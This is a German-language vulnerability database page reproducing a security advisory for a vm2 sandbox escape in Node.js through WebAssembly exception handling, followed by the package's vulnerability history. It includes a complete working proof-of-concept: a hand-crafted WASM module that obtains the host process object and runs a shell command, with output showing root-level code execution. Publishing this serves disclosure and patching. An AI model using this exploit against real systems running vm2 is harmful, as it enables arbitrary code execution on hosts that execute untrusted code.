Kritisch

VM2 Has a WASM Sandbox Escape

  • Veröffentlicht: 05.05.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

Full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation.

Details

Confirmed on: vm2 3.10.4, Node.js v25.6.1 (x64 Linux) Trigger: Attacker-controlled code passed to VM.run() Requires: Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)

vm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects handleException() into JS catch clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.

WebAssembly's try_table instruction with a JSTag catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (e.name = Symbol(); e.stack), the WASM try_table catches it as an opaque externref and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (hostError.constructor.constructor) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.

PoC

js
const { VM } = require("vm2");
console.log("vm2:", require("vm2/package.json").version, "| node:", process.version);

new VM().run(`
    const before = typeof process;

    const err = new Error("x");
    err.name = Symbol();

    const wasm = new Uint8Array([
        0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,
        0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,
        0x02,0x19,0x02,
        0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,
        0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,
        0x03,0x02,0x01,0x01,
        0x07,0x0f,0x01,
        0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,
        0x0a,0x12,0x01,0x10,0x00,
        0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b
    ]);

    const instance = new WebAssembly.Instance(
        new WebAssembly.Module(wasm),
        { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }
    );

    const hostError = instance.exports.catch_error();
    const p = hostError.constructor.constructor("return process")();
    const id = p.mainModule.require("child_process").execSync("id").toString().trim();
    const log = p.mainModule.require("console").log;
    log("");
    log("process before escape:", before);
    log("process after escape: ", typeof p);
    log("host pid:             ", p.pid);
    log("host node version:    ", p.version);
    log("RCE:                  ", id);
`);
> node poc.js
vm2: 3.10.4 | node: v25.6.1

process before escape: undefined
process after escape:  object
host pid:              217
host node version:     v25.6.1
RCE:                   uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Proof files poc.js

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket vm2 < 3.10.5 3.10.5

Verweise

CVSS-Wert 9.8/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-693, CWE-94
Plattform
npm
Paket
vm2
Veröffentlicht
05.05.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-ffh4-j6h5-pg66 - CC BY 4.0

Schwachstellenhistorie: vm2

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (78) im Archiv
Einträge insgesamt
78
Erste → letzte
10.2021 10.2026
Ohne Fix
1
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 51
  • Hoch 14
  • Mittel 12
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Schweregrad:
  1. Kritisch · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Kritisch · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Kritisch · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Kritisch · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Kritisch · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Kritisch · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. Kritisch · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  8. Kritisch · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  9. Kritisch · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  10. Kritisch · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  11. Kritisch · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  12. Kritisch · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  13. Hoch · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  14. Kritisch · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  15. Kritisch · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  16. Kritisch · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  17. Kritisch · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  18. Kritisch · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  19. Kritisch · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  20. Kritisch · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
  21. Kritisch · 10.0 CVE-2026-44005 >= 3.9.6, < 3.11.0 3.11.0
  22. Kritisch · 10.0 CVE-2026-43997 < 3.11.0 3.11.0
  23. Kritisch · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  24. VM2 Has a WASM Sandbox Escape dieser Eintrag
    Kritisch · 9.8 CVE-2026-26956 < 3.10.5 3.10.5
  25. Kritisch · 9.8 CVE-2026-26332 < 3.11.0 3.11.0
  26. Kritisch · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  27. Kritisch · 9.8 CVE-2026-24120 < 3.10.5 3.10.5
  28. Kritisch · 9.8 CVE-2026-24118 < 3.11.0 3.11.0
  29. Kritisch · 9.8 CVE-2026-22709 < 3.10.2 3.10.2
  30. Kritisch · 9.8 CVE-2023-37466 < 3.10.0 3.10.0
  31. Kritisch · 9.8 CVE-2023-37903 <= 3.9.19 keine Korrektur
  32. Kritisch · 9.8 CVE-2023-32314 < 3.9.18 3.9.18
  33. Kritisch · 9.8 CVE-2023-30547 < 3.9.17 3.9.17
  34. Kritisch · 9.8 CVE-2023-29199 < 3.9.16 3.9.16
  35. Kritisch · 9.8 CVE-2023-29017 < 3.9.15 3.9.15
Mehr anzeigen (5) 60 von 65 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.